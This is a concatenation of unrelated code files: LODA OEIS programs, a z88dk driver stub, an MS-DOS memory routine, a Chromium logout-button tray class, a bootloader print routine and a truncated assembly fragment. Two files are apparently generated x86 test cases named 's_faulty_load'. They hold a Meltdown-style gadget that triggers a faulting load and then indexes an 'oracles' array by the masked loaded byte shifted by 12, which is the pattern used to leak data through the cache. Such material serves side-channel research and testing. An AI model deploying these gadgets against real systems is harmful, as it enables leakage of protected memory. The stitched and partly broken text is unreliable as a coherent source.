; 0,0,0,1,2,4,7,11,16,22,30,39,50,63,78,95,115,137,162,190,221,255,292,333,377,425,477,533,593,658,727,801,880,964,1053,1147,1247,1352,1463,1580,1703,1832,1968,2110,2259,2415,2578,2748,2925,3110,3302,3502,3710,3926,4150,4383,4624,4874,5133,5401,5678,5964,6260,6565,6880,7205,7540,7885,8241,8607,8984,9372,9771,10181,10602,11035,11479,11935,12403,12883,13375,13880,14397,14927,15470,16026,16595,17177,17773,18382,19005,19642,20293,20958,21638,22332,23041,23765,24504,25258,26027,26812,27612,28428,29260,30108,30972,31853,32750,33664,34595,35543,36508,37490,38490,39507,40542,41595,42666,43755,44863,45989,47134,48298,49481,50683,51904,53145,54405,55685,56985,58305,59645,61006,62387,63789,65212,66656,68121,69607,71115,72644,74195,75768,77363,78980,80620,82282,83967,85675,87406,89160,90937,92738,94562,96410,98282,100178,102098,104043,106012,108006,110025,112069,114138,116232,118352,120497,122668,124865,127088,129337,131613,133915,136244,138600,140983,143393,145830,148295,150787,153307,155855,158431,161035,163668,166329,169019,171738,174486,177263,180069,182905,185770,188665,191590,194545,197530,200546,203592,206669,209777,212916,216086,219287,222520,225784,229080,232408,235768,239160,242585,246042,249532,253055,256611,260200,263822,267478,271167,274890,278647,282438,286263,290123,294017,297946,301910,305909,309943,314012,318117,322257,326433,330645,334893,339177,343498,347855,352249,356680,361148,365653,370195,374775,379392,384047,388740,393471,398240
mov $7,$0
mov $9,$0
lpb $7,1
mov $0,$9
sub $7,1
sub $0,$7
pow $0,2
mov $2,$0
mov $5,3
mov $8,6
lpb $2,1
mov $3,$5
mov $4,2
lpb $4,1
cmp $0,$4
add $3,$2
add $3,1
add $8,7
div $3,$8
div $4,$4
pow $6,$0
gcd $2,$6
lpe
lpe
add $1,$3
lpe
|
; A290140: The number of maximal subsemigroups of the Jones monoid on the set [1..n].
; 1,2,5,9,13,19,27,39,57,85,129,199,311,491,781,1249,2005,3227,5203,8399,13569,21933,35465,57359,92783,150099,242837,392889,635677,1028515,1664139,2692599,4356681,7049221,11405841,18454999,29860775,48315707,78176413,126492049,204668389,331160363,535828675,866988959,1402817553,2269806429,3672623897,5942430239,9615054047,15557484195,25172538149,40730022249,65902560301,106632582451,172535142651,279167724999,451702867545,730870592437,1182573459873,1913444052199,3096017511959,5009461564043,8105479075885,13114940639809,21220419715573,34335360355259,55555780070707,89891140425839,145446920496417,235338060922125,380784981418409,616123042340399,996908023758671,1613031066098931,2609939089857461,4222970155956249,6832909245813565
mov $1,$0
mov $2,1
lpb $0
mov $1,$0
cal $1,284122 ; Number of binary words w of length n for which s, the longest proper suffix of w that appears at least twice in w, is of length 1 (i.e., either s = 0 or s = 1).
mov $0,1
sub $0,$2
sub $0,1
lpe
add $1,1
|
SECTION code_driver
PUBLIC _disk_initialize_fastcall
EXTERN asm_disk_initialize
;------------------------------------------------------------------------------
; Routines that talk with the IDE drive, these should be called from diskio.h
; extern DSTATUS disk_initialize (BYTE pdrv) __z88dk_fastcall;
;
; initialize the ide drive
defc _disk_initialize_fastcall = asm_disk_initialize
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xe1bd, %rsi
lea addresses_D_ht+0x19abd, %rdi
nop
cmp %r11, %r11
mov $31, %rcx
rep movsl
nop
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x8a3d, %r13
nop
nop
nop
and $47550, %rbp
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%r13)
nop
nop
nop
nop
nop
add $50693, %r11
lea addresses_D_ht+0x191bd, %r11
nop
nop
nop
nop
cmp %r10, %r10
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
add $24203, %rsi
lea addresses_D_ht+0x16e65, %r13
nop
nop
nop
nop
nop
cmp $7736, %rcx
vmovups (%r13), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdi
nop
nop
nop
nop
nop
xor $20402, %r11
lea addresses_WC_ht+0x12d7d, %rdi
nop
nop
and %r13, %r13
movb (%rdi), %r10b
nop
nop
and $28753, %rsi
lea addresses_WT_ht+0xeb75, %rsi
lea addresses_WT_ht+0x2455, %rdi
nop
inc %r14
mov $79, %rcx
rep movsq
nop
inc %r13
lea addresses_WC_ht+0x10772, %rsi
lea addresses_UC_ht+0x183fd, %rdi
nop
nop
add %r14, %r14
mov $36, %rcx
rep movsq
nop
and %rsi, %rsi
lea addresses_WC_ht+0x1adbd, %r14
nop
and %rbp, %rbp
movl $0x61626364, (%r14)
nop
add $23537, %r13
lea addresses_normal_ht+0xf5bd, %rbp
nop
cmp %rdi, %rdi
movl $0x61626364, (%rbp)
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0xc131, %r10
dec %rbp
mov (%r10), %r11d
nop
nop
nop
and %r14, %r14
lea addresses_normal_ht+0x14f3b, %rsi
lea addresses_WC_ht+0x41bd, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and $39755, %r10
mov $111, %rcx
rep movsw
nop
xor %r10, %r10
lea addresses_A_ht+0x199c5, %rcx
nop
nop
nop
sub %r10, %r10
vmovups (%rcx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
nop
nop
nop
nop
nop
xor $41413, %rsi
lea addresses_WT_ht+0xa9bd, %r10
nop
nop
nop
nop
nop
xor $53301, %rbp
mov $0x6162636465666768, %r11
movq %r11, (%r10)
nop
nop
nop
xor $17332, %r10
lea addresses_WT_ht+0x82bd, %r10
and %r14, %r14
mov (%r10), %bp
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_D_ht+0xec44, %rsi
lea addresses_normal_ht+0x10a3d, %rdi
cmp %r11, %r11
mov $123, %rcx
rep movsw
and $26125, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %rbp
push %rbx
push %rdi
push %rsi
// Load
lea addresses_A+0xb823, %rbx
nop
inc %rbp
vmovups (%rbx), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %rsi
nop
nop
nop
nop
dec %rdi
// Faulty Load
lea addresses_US+0x1a1bd, %rbx
nop
nop
nop
nop
nop
and %r8, %r8
vmovups (%rbx), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': True}}
{'00': 8848, '49': 1021, '44': 125, '46': 1, '45': 23}
00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 46 49 00 00 00 00 00 00 00 00 00 49 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 49 00 00 00 49 00 00 00 00 49 00 49 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 49 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 49 00 00 00 00 00 00 49 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 00 00 00 00 49 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 44 00 00 49 00 49 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 49 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 44 00 00 00 00 00 00 00 49 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 49 44 00 49 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 49 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 49 00 49 00 00 00 00 00 00 00 00 49 00 00 00 00 00 49 00 00 00 00 00 00 49 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xef39, %rdx
dec %rax
mov $0x6162636465666768, %rbx
movq %rbx, (%rdx)
nop
nop
nop
nop
add $551, %r15
lea addresses_normal_ht+0x1cfe9, %rbp
nop
nop
nop
add %rdx, %rdx
movb (%rbp), %r9b
sub $58334, %r15
lea addresses_D_ht+0x22b9, %r9
nop
nop
nop
nop
nop
and $12936, %r13
movb $0x61, (%r9)
nop
nop
nop
nop
nop
sub $54655, %rax
lea addresses_normal_ht+0xb269, %r9
nop
nop
nop
nop
add %rdx, %rdx
vmovups (%r9), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbp
nop
nop
nop
nop
xor $59981, %r15
lea addresses_UC_ht+0x15859, %rsi
lea addresses_D_ht+0x8639, %rdi
clflush (%rdi)
nop
add $59365, %r15
mov $100, %rcx
rep movsl
nop
sub $9995, %r9
lea addresses_WC_ht+0x1ea81, %r9
nop
nop
and $49510, %r13
movb (%r9), %dl
nop
nop
nop
nop
cmp $21462, %rbp
lea addresses_D_ht+0x11f99, %rbp
clflush (%rbp)
nop
sub %rbx, %rbx
mov (%rbp), %dx
nop
sub %rax, %rax
lea addresses_D_ht+0x10249, %r15
nop
nop
nop
nop
dec %rax
movups (%r15), %xmm3
vpextrq $0, %xmm3, %rbx
xor $32927, %rcx
lea addresses_normal_ht+0x3539, %rsi
lea addresses_WC_ht+0xf639, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
xor $12597, %rbp
mov $4, %rcx
rep movsl
sub $40080, %rdx
lea addresses_D_ht+0xbb9, %r15
nop
inc %rcx
movups (%r15), %xmm3
vpextrq $0, %xmm3, %rbx
nop
nop
nop
nop
xor $31146, %rcx
lea addresses_normal_ht+0x7f59, %rdi
clflush (%rdi)
nop
add $5723, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
nop
nop
nop
inc %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rbp
push %rcx
// Faulty Load
lea addresses_WC+0x42b9, %r8
nop
cmp %r15, %r15
mov (%r8), %r12
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
;========================================================
COMMENT #
GETMEM.ASM
Copyright (c) 1991 - Microsoft Corp.
All rights reserved.
Microsoft Confidential
=================================================
Returns number of Kbytes of convential memory which
is returned by int 12h.
unsigned GetConvMem( void );
ARGUMENTS: NONE
RETURNS: unsigned - Kbytes of convential memory
=================================================
johnhe - 06/06/89
END COMMENT #
; =======================================================
INCLUDE model.inc
.CODE
; =======================================================
GetConvMem PROC
int 12h
ret
GetConvMem ENDP
END
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ash/system/chromeos/session/logout_button_tray.h"
#include "ash/shelf/shelf_types.h"
#include "ash/shell.h"
#include "ash/system/chromeos/session/logout_confirmation_controller.h"
#include "ash/system/status_area_widget.h"
#include "ash/system/tray/system_tray_delegate.h"
#include "ash/system/tray/system_tray_notifier.h"
#include "ash/system/tray/tray_constants.h"
#include "ash/system/tray/tray_utils.h"
#include "base/logging.h"
#include "base/memory/scoped_ptr.h"
#include "grit/ash_resources.h"
#include "third_party/skia/include/core/SkColor.h"
#include "ui/events/event.h"
#include "ui/gfx/geometry/insets.h"
#include "ui/gfx/geometry/size.h"
#include "ui/views/bubble/tray_bubble_view.h"
#include "ui/views/controls/button/label_button.h"
#include "ui/views/controls/button/label_button_border.h"
#include "ui/views/painter.h"
namespace ash {
namespace {
const int kLogoutButtonHorizontalExtraPadding = 7;
const int kLogoutButtonNormalImages[] = {
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_TOP_LEFT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_TOP,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_TOP_RIGHT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_LEFT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_CENTER,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_RIGHT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_BOTTOM_LEFT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_BOTTOM,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_NORMAL_BOTTOM_RIGHT
};
const int kLogoutButtonPushedImages[] = {
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_TOP_LEFT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_TOP,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_TOP_RIGHT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_LEFT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_CENTER,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_RIGHT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_BOTTOM_LEFT,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_BOTTOM,
IDR_AURA_UBER_TRAY_LOGOUT_BUTTON_PUSHED_BOTTOM_RIGHT
};
class LogoutButton : public views::LabelButton {
public:
LogoutButton(views::ButtonListener* listener);
virtual ~LogoutButton();
private:
DISALLOW_COPY_AND_ASSIGN(LogoutButton);
};
} // namespace
LogoutButton::LogoutButton(views::ButtonListener* listener)
: views::LabelButton(listener, base::string16()) {
SetupLabelForTray(label());
SetFontList(label()->font_list());
for (size_t state = 0; state < views::Button::STATE_COUNT; ++state)
SetTextColor(static_cast<views::Button::ButtonState>(state), SK_ColorWHITE);
scoped_ptr<views::LabelButtonBorder> border(
new views::LabelButtonBorder(views::Button::STYLE_TEXTBUTTON));
border->SetPainter(false, views::Button::STATE_NORMAL,
views::Painter::CreateImageGridPainter(kLogoutButtonNormalImages));
border->SetPainter(false, views::Button::STATE_HOVERED,
views::Painter::CreateImageGridPainter(kLogoutButtonNormalImages));
border->SetPainter(false, views::Button::STATE_PRESSED,
views::Painter::CreateImageGridPainter(kLogoutButtonPushedImages));
gfx::Insets insets = border->GetInsets();
insets += gfx::Insets(0, kLogoutButtonHorizontalExtraPadding,
0, kLogoutButtonHorizontalExtraPadding);
border->set_insets(insets);
SetBorder(border.PassAs<views::Border>());
set_animate_on_state_change(false);
set_min_size(gfx::Size(0, kShelfItemHeight));
}
LogoutButton::~LogoutButton() {
}
LogoutButtonTray::LogoutButtonTray(StatusAreaWidget* status_area_widget)
: TrayBackgroundView(status_area_widget),
button_(NULL),
login_status_(user::LOGGED_IN_NONE),
show_logout_button_in_tray_(false) {
button_ = new LogoutButton(this);
tray_container()->AddChildView(button_);
tray_container()->SetBorder(views::Border::NullBorder());
Shell::GetInstance()->system_tray_notifier()->AddLogoutButtonObserver(this);
}
LogoutButtonTray::~LogoutButtonTray() {
Shell::GetInstance()->system_tray_notifier()->
RemoveLogoutButtonObserver(this);
}
void LogoutButtonTray::SetShelfAlignment(ShelfAlignment alignment) {
TrayBackgroundView::SetShelfAlignment(alignment);
tray_container()->SetBorder(views::Border::NullBorder());
}
base::string16 LogoutButtonTray::GetAccessibleNameForTray() {
return button_->GetText();
}
void LogoutButtonTray::HideBubbleWithView(
const views::TrayBubbleView* bubble_view) {
}
bool LogoutButtonTray::ClickedOutsideBubble() {
return false;
}
void LogoutButtonTray::OnShowLogoutButtonInTrayChanged(bool show) {
show_logout_button_in_tray_ = show;
UpdateVisibility();
}
void LogoutButtonTray::OnLogoutDialogDurationChanged(base::TimeDelta duration) {
dialog_duration_ = duration;
}
void LogoutButtonTray::ButtonPressed(views::Button* sender,
const ui::Event& event) {
DCHECK_EQ(sender, button_);
if (dialog_duration_ <= base::TimeDelta()) {
// Sign out immediately if |dialog_duration_| is non-positive.
Shell::GetInstance()->system_tray_delegate()->SignOut();
} else if (Shell::GetInstance()->logout_confirmation_controller()) {
Shell::GetInstance()->logout_confirmation_controller()->ConfirmLogout(
base::TimeTicks::Now() + dialog_duration_);
}
}
void LogoutButtonTray::UpdateAfterLoginStatusChange(
user::LoginStatus login_status) {
login_status_ = login_status;
const base::string16 title =
GetLocalizedSignOutStringForStatus(login_status, false);
button_->SetText(title);
button_->SetAccessibleName(title);
UpdateVisibility();
}
void LogoutButtonTray::UpdateVisibility() {
SetVisible(show_logout_button_in_tray_ &&
login_status_ != user::LOGGED_IN_NONE &&
login_status_ != user::LOGGED_IN_LOCKED);
}
} // namespace ash
|
%ifndef PRINT_STR
%define PRINT_STR
%include "printChar.asm"
printString:
mov bh, 0x00 ;page 0
mov bl, 0x07 ;text attribute
nextChar:
lodsb ; mov al, [si] + inc si
or al, al
jz nextChar.end ;if the string ends then end this function
jmp nextChar.printChar;print the current char by defaultter
.printChar: ;print a char
call printChar
.skipChar: ;skip a char
jmp nextChar ;repeat
.end:
ret
%endif |
; A216243: Partial sums of the squares of Lucas numbers (A000032).
; 4,5,14,30,79,200,524,1365,3574,9350,24479,64080,167764,439205,1149854,3010350,7881199,20633240,54018524,141422325,370248454,969323030,2537720639,6643838880,17393796004,45537549125,119218851374,312119004990,817138163599,2139295485800
seq $0,2878 ; Bisection of Lucas sequence: a(n) = L(2*n+1).
mov $1,$0
sub $0,1
sub $1,2
lpb $1
sub $1,2
mod $1,5
sub $1,2
add $0,$1
trn $1,1
lpe
add $0,4
|
org 100h
.data
size dw 4
input1 db 4+1 dup(0)
input2 db 4+1 dup(0)
extra_array 4+1 dup(0)
operator db 1+1 dup(0)
res_size dw 10
final_res db 10+1 dup(0)
larger_num db 0 ;0 -> num1, 1 -> num2
